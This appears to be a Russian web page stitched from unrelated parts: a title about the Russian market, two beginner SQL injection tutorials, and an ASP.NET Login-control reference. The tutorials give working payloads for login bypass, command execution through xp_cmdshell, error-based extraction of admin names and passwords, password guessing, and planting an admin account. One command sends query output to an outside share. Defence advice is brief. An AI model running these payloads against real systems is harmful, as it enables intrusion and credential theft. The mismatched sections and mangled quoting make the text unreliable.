Проблемы на российском рынке. Числовой входящий параметр

Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки.

Эта статья предназначена для того, чтобы помочь новичкам справиться с проблемами, с которыми они могут столкнуться при использовании техники SQL Injection, успешно использовать ее и уметь защитить себя от подобных нападений.

Введение

Когда у интересующего сервера открыт только 80 порт, и сканер уязвимостей не может сообщить ничего интересного, и вы знаете, что системный администратор всегда очень оперативно устанавливает все заплаты на web-сервер, последним нашим шансом остается web-взлом. SQL injection - один из типов web-взлома, которые используют только 80 порт, и может сработать, даже при своевременно установленных заплатах. Это нападение более направлено на web-приложения (типа ASP, JSP, PHP, CGI, и т.д), чем непосредственно на web-сервер или сервисы в ОС.

Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки. Также рекомендую просмотреть приведенные в конце статьи ссылки для получения более подробной информации от специалистов в данной области.

1.1 Что такое SQL Injection?

SQL Injection - метод, предназначенный для введения SQL запросов/команд через web-страницы. Многие web-страницы используют параметры, представленные Web пользователям, и делают SQL запрос базы данных. Возьмем для примера случай с логином пользователя, когда имеется web-страница c именем и паролем и производится SQL запрос в базе данных, для осуществления проверки, имеется ли зарегистрированный пользователь с таким именем и паролем. С использованием SQL Injection можно послать придуманное имя пользователя и/или поле пароля, изменяющее SQL запрос, что может предоставить нам кое-что интересное.

2.0 Что мы должны искать

Попробуйте найти страницы, которые запрашивают у вас данные, например страница поиска, обсуждений, и т.д. Иногда html страницы используют метод POST, чтобы послать команды другой Web странице. В этом случае вы не увидите параметры в URL. Однако в этом случае вы можете искать тэг "FORM" в исходном коде HTML страниц. Вы найдете, что-то типа такого:



Все параметры между

и
потенциально могут быть уязвимы к введению SQL кода.

2.1 Что если вы не нашли страницу, которая использует ввод?

Поищите страницы, подобно ASP, JSP, CGI, или PHP Web страницам. Попробуйте найти страницы, которые используют параметры, подобно:

3.0. Как мне проверить что то, что я нашел, уязвимо?

Попробуйте начать с одиночной кавычки. Введите следующую строку:

hi" or 1=1--

в поле имя пользователя или пароль, или даже в URL параметре. Пример:

Login: hi" or 1=1--
Pass: hi" or 1=1--
http://duck/index.asp?id=hi" or 1=1--

Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример:



Если удача на вашей стороне, вы войдете в систему без имени или пароля.

3.1 Но почему " or 1=1--?

Давайте рассмотрим другой пример, который объясняет полезность конструкции " or 1=1-- . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:

http://duck/index.asp?category=food

В URL, "category" – это имя переменной, и "food" – значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать:

SELECT * FROM product WHERE PCategory="food"

Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае "food". Теперь изменим URL следующим образом:

http://duck/index.asp?category=food" or 1=1--
SELECT * FROM product WHERE PCategory="food" or 1=1--‘

Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен "food" или нет. Двойная черточка "-" сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой ("). Иногда можно заменить двойную черточку на диез "#".

Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте:

" or "a"="a

Теперь SQL запрос станет:

SELECT * FROM product WHERE PCategory="food" or "a"="a"

Этот запрос возвратит тот же самый результат.

В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей:

" or 1=1--
" or 1=1--
or 1=1--
" or "a"="a
" or "a"="a
") or ("a"="a

4.0 Как можно удаленно выполнять команды, используя SQL injection?

Возможность вводить SQL команду обычно означает, что мы можем выполнять SQL запросы по желанию. Заданная по умолчанию инсталляция MS SQL Server выполняется с системными правами. Мы можем вызвать встроенные процедуры, типа master..xp_cmdshell, для удаленного выполнения произвольных команд:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Попробуйте использовать двойные кавычки ("), если (") не срабатывает.

Точка с запятой закончит текущий SQL запрос и позволит вам запускать новые SQL команды. Чтобы проверить, выполнена ли команда успешно, вы можете проверить ICMP пакеты в 10.10.1.2, присутствуют ли в них какие либо пакеты с уязвимого сервера:

http://сайт/?ID=31610

Если вы не получили никакой запрос утилиты ping от сервера, и получаете сообщение об ошибке, указывающее ошибку разрешения, возможно, что администратор ограничил доступ Web пользователя к сохраненным процедурам.

5.0 Как получить результаты моего SQL запроса?

Можно использовать sp_makewebtask, чтобы записать ваш запрос в HTML:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Указываемый IP должен иметь папку "share" с доступом для Everyone.

6.0 Как получить данные из базы данных, используя ODBC сообщение об ошибках?

Мы можем использовать информацию из сообщения об ошибке, произведенной SQL сервером, чтобы получить любые данные. Например, рассмотрим следующую страницу:

http://duck/index.asp?id=10

Теперь мы попробуем объединить целое ‘10’ с другой строкой в базе данных:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.

Поле TABLE_NAME очевидно содержит имя каждой таблицы в базе данных. Она была выбрана, потому что мы знаем, что она всегда существует. Наш запрос:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Этот запрос возвратит первое имя в базе данных. Когда мы UNION это строковое значение к целому 10, MS SQL Server попытается преобразовать строку nvarchar к integer. Это вызовет ошибку, которая сообщит, что не может преобразовать nvarchar к int. Сервер выдаст следующую ошибку:


Syntax error converting the nvarchar value "table1" to a column of data type int.
/index.asp, line 5

Сообщение об ошибке содержит информацию о значении, которое не может быть преобразовано в целое. В этом случае, мы получили имя первой таблицы - "table1".

Для получения следующего имени таблицы, мы можем использовать следующий запрос:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1")--

Мы также можем искать данные, используя ключ LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the nvarchar value "admin_login" to a column of data type int. /index.asp, line 5

Соответствующая конструкция "%25login%25" будет заменена на %login% в SQL сервере. В этом случае, мы получим имя таблицы, которая соответствует критерию "admin_login".

6.1 Как узнать все имена столбцов в таблице?

Мы можем использовать таблицу INFORMATION_SCHEMA.COLUMNS, чтобы отобразить все имена столбцов в таблице:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "login_id" to a column of data type int.
/index.asp, line 5

Теперь, когда мы узнали первое имя столбца, мы можем использовать NOT IN(), чтобы получить имя следующего столбца:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")-

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "login_name" to a column of data type int.
/index.asp, line 5

Продолжая, мы получим остальные имена столбцов, т.е. "password", "details", пока не получим следующую ошибку.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id","login_name","password",details")--

Microsoft OLE DB Provider for ODBC Drivers error "80040e14"
ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2. Как нам получить нужные нам данные?

Теперь, когда мы идентифицировали некоторые важные таблицы, мы можем использовать ту же самую методику, что бы получить информацию из базы данных.

Давайте получим первый login_name из таблицы "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "neo" to a column of data type int.
/index.asp, line 5

Теперь мы знаем, что есть admin пользователь с именем входа в систему "neo". Наконец, мы можем получить пароль "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="neo"--

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "m4trix" to a column of data type int.
/index.asp, line 5

Теперь мы сможем войти в систему как "neo" с паролем "m4trix".

6.3 Как получить числовое значение строки?

Есть ограничение в методе, описанном выше. Мы не сможем получить сообщение об ошибке, если мы попробуем преобразовать текст, который состоит из числа (только символы между 0...9). Сейчас мы опишем получение пароля "31173" у пользователя "trinity":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="trinity"--

Мы вероятно получим ошибку "Page Not Found". Причина в том, что пароль "31173" будет преобразован в число, перед UNION с целым числом (в нашем случае 10). Так как получится правильное UNION выражение, SQL сервер не выдаст сообщение об ошибке, и таким образом мы не сможем получить числовую запись.

Чтобы решить эту проблему, мы можем добавить в конец числовую строку с некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login where login_name="trinity"--

Мы просто используем знак "плюс" (+) для того, чтобы добавить в конец пароль с любым текстом (ASSCII кодирование для "+" = 0x2b). Затем, мы добавим в конец "%20morpheus" в фактический пароль. Поэтому, даже если значение пароля "31173", он станет "31173 morpheus". Вручную вызывая функцию convert(), пытаясь преобразовать " 31173 morpheus" в целое число, SQL Сервер выдаст ODBC сообщение об ошибке:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "31173 morpheus" to a column of data type int.
/index.asp, line 5

Теперь мы сможем войти в систему как "trinity" с паролем "31173".

7.0 Как модифицировать/вставить данные в базу данных?

После того, как мы получили имена всех столбцом в таблице, мы сможем обновить(UPDATE) или даже вставить (INSERT) новую запись в таблицу. Например, мы можем изменить пароль для "neo":

http://duck/index.asp?id=10; UPDATE "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

Чтобы внести (INSERT) новую запись в базу данных:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

Теперь мы сможем войти в систему как "neo" с паролем "newpas5".

8.0 Как избежать SQL Injection?

Фильтруйте специальные символы во всех строках в:

Любых данных, вводимых пользователем
- URL параметрах
- Cookie

Для числовых значений, конвертируйте их к integer, перед передачей их к SQL запросу. Или используйте ISNUMERIC, чтобы удостовериться это целое число.

Запускайте SQL сервер как непривилегированный пользователь.

Удалите неиспользуемые сохраненные процедуры: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

SQL Injection достаточно хорошая возможность для хакера получить
доступ к серверу. И при небольшом усилии, он
все-таки его получает 🙂

Coder inside

В наше время работа с базами данных поддерживается
практически всеми языками программирования, к таким можно отнести BASIC, C++, Java, PERL, PHP, Assembler и даже JavaScript! А называются эти программы никак иначе как СУБД — системы управления базами данных. Зачастую базы данных применяются для решения финансовых задач,
бухгалтерии, организации кадров, но свое применение они нашли и в Интернете.

Базы данных часто используются для написания WEB-приложений. Их использование наиболее уместно для хранения пользовательских регистрационных данных, идентификаторов сессий, организации поиска, а также других задач требующих обработки большего
количества данных. Для обращения к БД используются серверные технологии: PHP, PERL, ASP, и т.д. Именно тут и начинается самое интересное. Когда на сервере
установлены все патчи, а брандмауэр блокирует все порты кроме 80-ого или когда требуется аутентификация для доступа к некоторым данным, для взлома хакер может использовать SQL Injection. Суть данной атаки заключается в использовании ошибки на стыке WEB технологий и SQL. Дело в том, что многие web страницы для обработки пользовательских данных, формируют специальный SQL запрос к БД. Неосторожное использование данной методики может привести к довольно интересным результатам…

SQL Injection

Для пояснения атаки представим себе, что ты зашел на сайт чтобы скачать одну очень важную тулзу и с ужасом замечаешь, что сделать это может только зарегистрированный пользователь, а регистрация, конечно же, стоит денег 🙂 Последние заработанные отдавать не хочется, а без программы никак! Самое время вспомнить о том как
обращаться к базам данных SQL . Например, проверка логина и пароля, на PHP может иметь следующий вид:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
else
{
// AUTHENTICATION ERROR
}

Я добавил два комментария, «AUTHENTICATION OK » — вместо него должен
идти код, который исполнится в том случае, если пароль и логин верны. Другой «AUTHENTICATION ERROR » — место где будет описан код, исполняющийся в случае их неправильности. Если заполнить форму, то запрос получится похожим на «http://www.server.com?login=user&password=31337», где www.server.com имя
сервера, к которому мы пытаемся подключиться. Мы нашли то что искали, а по сему снова вернемся к работе SQL . Итак, если вы для авторизации должны указать логин и пароль, то сформированный SQL запрос будет иметь следующий вид:

SELECT * FROM users WHERE login="user" AND
password="31337"

Это значит примерно следующее: верни мне все записи из базы данных users у которых логин «user», а пароль «31337». Если существует такая запись, значит пользователь зарегистрирован, ну а если нет, то нет… Но при определенных обстоятельствах все можно исправить. Имеется ввиду ситуация, когда приложение не проверяет содержимое передаваемых данных или проверяет не полностью, на наличие SQL инструкций. В данном примере сверяются два поля login и password, но если в качестве пароля указать «31337′ AND email=’[email protected]»(без двойных кавычек), то запрос получится уже немного другим:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email="[email protected]"

И в случае существования поля email это условие также будет проверено. Если вспомнить основы булевой алгебры, то приходит в голову что кроме операции «и» существует и «или», а поскольку их использование поддерживается SQL, можно выше
описанным способом добавить условие которое всегда возвращает истину. Для осуществления данного, необходимо в качестве логина указать «user’ OR 1=1—«, в таком случае запрос примет вид:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
password="31337"

Для начала следует знать, что «—» означает конец запроса, и все после «—»
обрабатываться не будет! Получается, словно мы сделали запрос:

SELECT * FROM users WHERE login="user" OR 1=1

Как вы видите мы добавили условие «1=1», значит критерием проверки будет «если логин ‘user’ или 1=1», но ведь 1 всегда равно 1 (исключением может быть только арифметика Дани Шеповалова:)). Чтобы проверить наши подозрения
забиваем в адресной строке «http://www.server.com?login=user or 1=1—&password=31337». Это приводит к тому, что не играет роли какой именно логин мы указали, а
тем более пароль! И мы в матри… ой, в системе и можем спокойно качать то что нам необходимо.

Но это все в теории. На практике нам неизвестно каким образом формируется запрос, какие данные передаются и в какой последовательности. Поэтому необходимо указывать «user’ OR 1=1—» для всех полей. Также следует проверить форму отправки на наличие скрытых полей. В HTML они описываются как «». Если таковые существуют, сохраните страницу и поменяйте значения данных полей. Значения содержащиеся в них часто забывают проверять на наличие SQL инструкций. Но чтобы все заработало следует в форме (тэг «FORM») для параметра «ACTION» указать полный путь к скрипту, что обрабатывает данный запрос.

Но не всегда также известно как сформирован запрос,
прошлый пример можно было сформировать и следующими способами:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=user AND password=31337

В таком случае можно попробовать следующие варианты:

‘ OR 1=1—
» OR 1=1—
OR 1=1—
‘ OR ‘a’=’a
» OR «a»=»a
‘) OR (‘a’=’a
OR ‘1’=’1′

Все зависит от предназначения скрипта, и от программиста. Поскольку каждому человеку свойственно все делать по своему, то вполне возможно, что программист выберет не самый простой вариант. Поэтому не следует сразу
сдаваться, если вы получите отказ. Необходимо
испробовать как можно большее количество вариантов…

Password detection

Обходить авторизацию неплохо, но очень часто дырка которую вы используете закрывается, и все что было для вас доступно теряется.
Этого и следовало ожидать, если программист не дурак он
со временем прикроет все лазейки. От таких ситуаций можно легко избавится заранее позаботившись об этом. Правильным решением может стать угадывание пароля посредством
анализа результатов аутентификации. Для начала пробуем угадать пароль, для этого введем место него:

‘ OR password>’a

Если нам ответят, что авторизация пройдена, значит пароль
начинается не на букву «а», а на какую-то из следующих по списку. Двигаемся дальше и подставляем
место "a", следующие «b», «c», «d», «e»… и т.д. пока нам не ответят, что пароль не правильный. Пускай этот процесс остановился на символе «x», в таком случае создаются два варианта развития ситуации, пароль найден или же пароль начитается на этот символ. Чтобы проверить первый вариант пишем место пароля:

‘ OR password=’x

и если пароль принят и тебя впустили, значит ты угадал пароль! Ну а нет, тогда следует подбирать уже второй символ,
точно так же, с начала. Для двух символов проверять
нужно так же. В конце концов, ты получишь пароль, а логин ищешь тем самым путем 🙂
В случае, если найденные пароль и логин тебя не устраивают, можешь отыскать и другие. Для этого необходимо начать проверку с последнего символа найденного пароля. Так, если пароль был «xxx» проверять необходимо существование пароля
"xxy":

‘ OR password=’xxx

чтобы не упустить не один вариант!

MS SQL Server

MS SQL Server вообще находка, если упущена необходимая фильтрация. Используя уязвимость SQL Injection можно исполнять
команды на удаленном сервере с помощью exec master..xp_cmdshell. Но чтобы использовать эту конструкцию
необходимо завершить операцию «SELECT». В SQL инструкции разделяются точкой с запятой. Поэтому подключится к некоторому IP по Telnet’у, необходимо место пароля/логина набрать:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

У MS SQL Server есть, еще несколько интересных особенностей, позволяющих узнать логины и пароли хранящиеся в базе данных. Для этого вывод об ошибках перенаправляется на произвольный сервер и посредствам их
анализа можно узнать название таблицы, полей и их типов. После чего можно запросом

‘ UNION SELECT TOP 1 login FROM users—

(login имя поля содержащего логин, а users — имя таблицы,
полуученые в процессе анализа ошибок).

Ответ может быть следующим:


Syntax error converting the nvarchar value "admin" to a column of data type int.
/default.asp, line 27

Теперь мы знаем, что есть пользователь с именем «admin». Теперь мы можем получить его пароль:

‘ UNION SELECT TOP 1 password FROM users where login=’admin’—

Результат:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "xxx" to a column of data type int.
/tedault.asp, line 27

Теперь нам известно, что есть пользователь «admin» с паролем «xxx». Этим можно смело
воспользоваться и залогинится в систему 😉

Но для работы с SQL существует еще много других функций,
при работе с базой данных можно также удалять данные, модифицировать, вставлять свои и даже манипулировать файлами и работать с реестром.
В общем, SQL Server — рулит 🙂

Защита

Но этого всего естественно можно избежать. Для этого можно
воспользоваться фильтрами,
предоставляемыми производителями. Можно найти свои решения, например заменять все одинарные
кавычки двойными (если для SQL запроса мы пользуетесь одинарными), или наоборот. Можно разрешить только использование букв и с@баки, в случае если требуется ввести
электронный адрес. А еще в перле есть удивительная
функция 🙂 quote() в модуле DBI::DBD, которая успешно делает ваш запрос безопасным по отношению к SQL . Решений много, необходимо просто ими
воспользоваться. Иначе зачем тогда все это…

Элемент управления Login

Элемент управления Login упрощает создание страницы входа для аутентификации с помощью форм в сочетании с Membership API. Он предоставляет готовый к применению пользовательский интерфейс, запрашивающий имя и пароль пользователя и предлагающий кнопку для входа пользователя. "За кулисами" он инкапсулирует функциональность, которая была описана в предыдущей статье: проверку удостоверений пользователей через Membership API и инкапсуляцию базовой функциональности аутентификации с помощью форм, такой как перенаправление к изначально запрошенной странице в защищенной области приложения после успешного входа.

Это значит, что Login инкапсулирует такие вещи, как Membership.ValidateUser() или FormsAuthentication.RedirectFromLoginPage(), поэтому писать этот код самостоятельно не придется. На рисунке ниже показан элемент управления Login в действии:

Всякий раз, когда пользователь щелкает на кнопке Log In (Войти), элемент управления автоматически проверяет имя и пароль, применяя для этого функцию Membership.ValidateUser(), а затем вызывает FormsAuthenication.RedirectFromLoginPage(), если проверка прошла успешно. Все опции элемента управления Login влияют на ввод, доставляемый им в эти метода. Например, если отметить флажок Remember me next time (Запомнить учетные данные), он передаст значение true в параметре createPersistentCookie метода RedirectFromLoginPage(). Поэтому FormsAuthenticationModule создает постоянный cookie-набор.

"За кулисами" Login представляет собой составной элемент управления ASP.NET. Он полностью расширяем - в том смысле, что позволяет переопределять любые стили компоновки и свойства, а также перехватывать генерируемые события для переопределения его поведения по умолчанию. Если оставить элемент управления без изменений, как он есть, и не перехватывать никаких событий, то он автоматически будет использовать поставщик членства, сконфигурированный для приложения.

Простейшая форма элемента управления Login на странице выглядит следующим образом:

Для изменения внешнего вида элемента управления Login предназначено несколько свойств. Можно применять разные установки стилей, как показано ниже:

Кроме того, для настройки внешнего вида Login можно использовать классы CSS. Каждое свойство стиля, поддерживаемое элементом управления Login, включает свойство CssClass. Как и в случае любого другого элемента управления ASP.NET, это свойство позволяет указать имя класса CSS, который был добавлен ранее к веб-сайту. Предположим, что в проект добавлена следующая таблица стилей CSS с именем файла MyStyles.css:

MyLoginTextBoxStyle { cursor: pointer; background-color: yellow; text-align: center; padding:6px; border: dotted black; font-family: Verdana; vertical-align: middle; } .Login { display:inline-block; } .Title { padding: 6px; }

Этот файл стиля можно включить в страницу входа, чтобы иметь возможность использовать стиль для элемента Login:

В таблице ниже перечислены стили, поддерживаемые элементом управления Login. Каждый стиль работает одним и тем же способом. Свойства шрифта и цвета можно устанавливать непосредственно или применять свойство CssClass для указания нужного класса CSS:

Стили, поддерживаемые элементом управления Login
Стиль Описание
CheckBoxStyle

Определяет свойства стиля для флажка Remember me next time (Запомнить учетные данные)

FailureStyle

Определяет стиль для текста, который отображается а случае неудачного входа

HyperLinkStyle

Элемент управления Login позволяет определить несколько типов гиперссылок, например, на страницу начальной регистрации. Этот стиль задает внешний вид таких гиперссылок

InstructionTextStyle

Элемент управления Login позволяет указать текст справки, отображаемый непосредственно в нем самом. Этот стиль задает внешний вид этого текста

LabelStyle

Определяет стиль для меток User Name (Имя пользователя) и Password (Пароль)

LoginButtonStyle

Определяет стиль кнопки входа

TextBoxStyle

Определяет стиль для текстовых полей User Name (Имя пользователя) и Password (Пароль)

TitleTextStyle

Определяет стиль текста заголовка для элемента управления Login

ValidatorTextStyle

Определяет стили для элементов управления, используемых для проверки имени и пароля пользователя

Пользовательский интерфейс элемента Login настраивается не только через эти стили; другие дополнительные свойства предназначены для определенных частей содержимого элемента управления, таких как кнопка Log In, которые также позволяют настроить графический интерфейс.

Например, можно выбрать текст, отображаемый на кнопке входа, либо вообще отображать вместо этой кнопки (как установлено по умолчанию) гиперссылку. Более того, к элементу управления Login можно добавить несколько гиперссылок, таких как ссылка на страницу справки или на страницу регистрации. Обе страницы должны быть открыты для анонимного доступа, поскольку справка должна предлагаться также анонимным пользователям (вспомните, что если кто-то видит элемент управления Login, то он - потенциально анонимный пользователь). Чтобы включить дополнительные ссылки в Login, модифицируйте ранее показанное определение следующим образом:

...

Этот код приводит к отображению двух дополнительных ссылок - на страницу справки и на страницу первоначальной регистрации, а также добавляет текст краткой инструкции под заголовком элемента Login:

Стили, описанные ранее, применимы и к этим свойствам. В таблице ниже описаны важные свойства для настройки элемента управления Login:

Важные свойства для настройки элемента управления Login
Свойство Описание
Текст сообщений
TitleText

Текст, отображаемый в заголовке элемента управления

InstructionText

Это свойство уже использовалось в предыдущем фрагменте кода. Содержит текст, отображаемый ниже заголовка элемента управления

FailureText

Текст, отображаемый элементом управления Login, если попытка входа не удалась

UserNameLabelText

Текст, отображаемый в виде метки перед текстовым полем имени пользователя

PasswordLabelText

Текст, отображаемый в виде метки перед текстовым полем пароля пользователя

UserName

Начальное значение, заполняющее текстовое поле имени пользователя

UsernameRequiredErrorMessage

Сообщение об ошибке, отображаемое, если пользователь не ввел имя

PasswordRequiredErrorMessage

Сообщение об ошибке, отображаемое, если пользователь не ввел пароль

Кнопка входа
LoginButtonText

Текст, отображаемый на кнопке входа

LoginButtonType
LoginButtonImageUrl

Если кнопка входа представлена как графическое изображение, необходимо указать URL, где находится это изображение

Страница входа
DestinationPageUrl

Если попытка входа была успешной, элемент управления Login перенаправляет пользователя на эту страницу. По умолчанию это свойство пусто. При пустом значении используется инфраструктура аутентификации с помощью форм для перенаправления либо на исходную запрошенную страницу, либо на defaultUrl, сконфигурированный в web.config для аутентификации с помощью форм

FailureAction

Определяет действие, которое элемент управления выполняет после неудачной попытки входа. Два допустимых варианта - Refresh и RedirectToLoginPage. Первое значение приводит к обновлению только текущей страницы, а второе - к перенаправлению на сконфигурированную страницу входа. Второй вариант полезен, если элемент управления Login используется где-то в другом месте, а не на странице входа

VisibleWhenLoggedIn

Если установлено в false, то элемент управления автоматически скрывает себя, если пользователь уже вошел. Если установлено в true (по умолчанию), то элемент Login отображается, даже если пользователь совершил вход

Настройка метки "Запомнить меня"
DisplayRememberMe

Позволяет показывать или скрывать флажок Remember me next time (Запомнить меня). По умолчанию это свойство установлено в true

RememberMeSet

Определяет значение по умолчанию флажка Remember me next time. По умолчанию это свойство установлено в false, т.е. флажок не отмечен

Страница регистрации
CreateUserUrl

Определяет гиперссылку на страницу веб-сайта, которая позволяет создавать (регистрировать) пользователя. Таким образом, это обычно используется для открытия пользователю доступа к странице первичной регистрации. Обычно при этом отображается элемент управления CreateUserWizard

CreateUserText
CreateUserIconUrl

URL-адрес графического изображения, выводимого вместе с текстом гиперссылки CreateUserUrl

Страница помощи
HelpPageUrl

URL-адрес для перенаправления пользователя на страницу справки

HelpPageText
HelpPageIconUrl

URL-адрес значка, отображаемого вместе с текстом гиперссылки HelpPageUrl

Страница восстановления пароля
PasswordRecoveryUrl

URL-адрес для перенаправления пользователя на страницу восстановления пароля. Эта страница применяется, когда пользователь забыл пароль. Обычно она отображает элемент управления PasswordRecovery

PasswordRecoveryText
PasswordRecoveryIconUrl

URL-адрес значка, отображаемого вместе с текстом гиперссылки PasswordRecoveryUrl

Шаблоны и элемент управления Login

Как видите, благодаря всем этим свойствам элемент управления Login настраивается очень гибко. Но как вы, скорее всего, обратили внимание, определить какое-нибудь выражение для проверки достоверности ввода невозможно. Конечно, можно реализовать проверку достоверности на стороне сервера внутри процедур событий, предлагаемых элементом управления Login. Когда требуется добавить какие-то элементы к составному элементу управления Login, это не получится сделать через представленные выше свойства. Например, что если понадобится второе текстовое поле для надежной аутентификации со вторым паролем или пользовательским ключом доступа, как это делается на некоторых правительственных сайтах?

К счастью, подобно другим элементам управления, таким как GridView, элемент Login поддерживает шаблоны. С помощью шаблонов можно настраивать содержимое элемента управления Login без каких-либо ограничений. К нему можно добавлять любые новые элементы управления. Применяется специальный шаблон к элементу управления Login с помощью дескриптора LayoutTemplate :

Войти в систему

Имя пользователя:
Пароль:


Если посмотреть на приведенный код, то возникает один вопрос: если при настройке шаблона приходится писать настолько много кода пользовательского интерфейса (или проектировать его в визуальном конструкторе), так почему бы ни написать собственную страницу входа, не применяя элемента управления Login?

Это правильный вопрос. Однако, как объяснялось ранее, интерфейсная часть - это только одна часть элемента Login. Например, на случай, когда пользователь щелкает на кнопке входа, элемент управления Login уже имеет весь необходимый код для автоматической проверки пользователя по хранилищу членства и перенаправляет его на исходную запрошенную им страницу через инфраструктуру аутентификации с помощью форм. Так что вы определенно избавлены от необходимости написания этого кода.

С правильными элементами управления и корректными значениями идентификаторов для этих элементов управления не понадобится писать код обработки событий. Код работает обычным образом, за исключением того, что вы определяете набор элементов управления и их компоновку. В действительности элемент управления Login требует как минимум двух текстовых полей с идентификаторами UserName и Password. Если эти два текстовых поля отсутствуют (или имеют другие значения идентификатора), то Login сгенерирует исключение. Все остальные элементы управления не обязательны, но если вы указываете соответствующее значение идентификатора (такое как Login для кнопки входа), то Login автоматически обработает их события, и будет вести себя так, как тогда, когда применяется компоновка по умолчанию.

В таблице ниже перечислены специальные значения идентификаторов, требуемые для них типы элементов и признак обязательности:

Элементом управления с идентификатором Login может быть любой, поддерживающий пузырьковое распространение событий и свойство CommandName. Важно установить свойство CommandName этого элемента в Login, т.к. в противном случае элемент управления Login не будет распознавать его в процессе обработки событий. Если не добавить элемент управления со свойством CommandName, установленным в Login, придется обрабатывать события самостоятельно и писать соответствующий код для проверки имени пользователя и пароля, а также перенаправления на исходную запрошенную страницу.

Можно также добавлять элементы управления с другими идентификаторами, которые вообще не имеют отношения к Login. В показанном выше коде применялись элементы RequiredFieldValidator и RegularExpressionValidator для проверки полей имени пользователя и пароля.

При использовании LayoutTemplate многие свойства, изначально присущие элементу управления, становятся недоступными. Когда применяется шаблон, остаются доступными только следующие свойства:

    DestinationPageUrl

    VisibleWhenLoggedIn

  • MembershipProvider

Все свойства стиля и несколько свойств настройки текстового содержимого элементов по умолчанию больше не доступны в редакторе свойств Visual Studio, поскольку их можно добавить вручную как отдельные элементы управления или статический текст к шаблону элемента Login. Если вы будете добавлять их к элементу Login в режиме шаблона, они просто будут игнорироваться, потому что шаблон переопределяет интерфейс по умолчанию элемента Login, который пользуется этими свойствами.

Программирование элемента управления Login

Элемент управления Login поддерживает несколько событий и свойств, которые можно применять для настройки его поведения. Они предоставляют полный контроль над тонкой настройкой элемента управления Login (наряду с другими средствами настройки, такими как шаблоны и свойства стиля). Элемент управления Login поддерживает события, перечисленные в таблице ниже:

События элемента управления Login
Событие Описание
LoggingIn

Инициируется непосредственно перед аутентификацией пользователя элементом управления

LoggedIn

Инициируется после того, как пользователь аутентифицирован элементом управления

LoginError

Инициируется при неудачной попытке входа пользователя по какой-либо причине (например, из-за неправильного пароля или имени пользователя)

Authenticate

Инициируется для аутентификации пользователя. Если вы обрабатываете это событие, то должны аутентифицировать пользователя самостоятельно, и элемент управления Login будет полностью полагаться на ваш код аутентификации

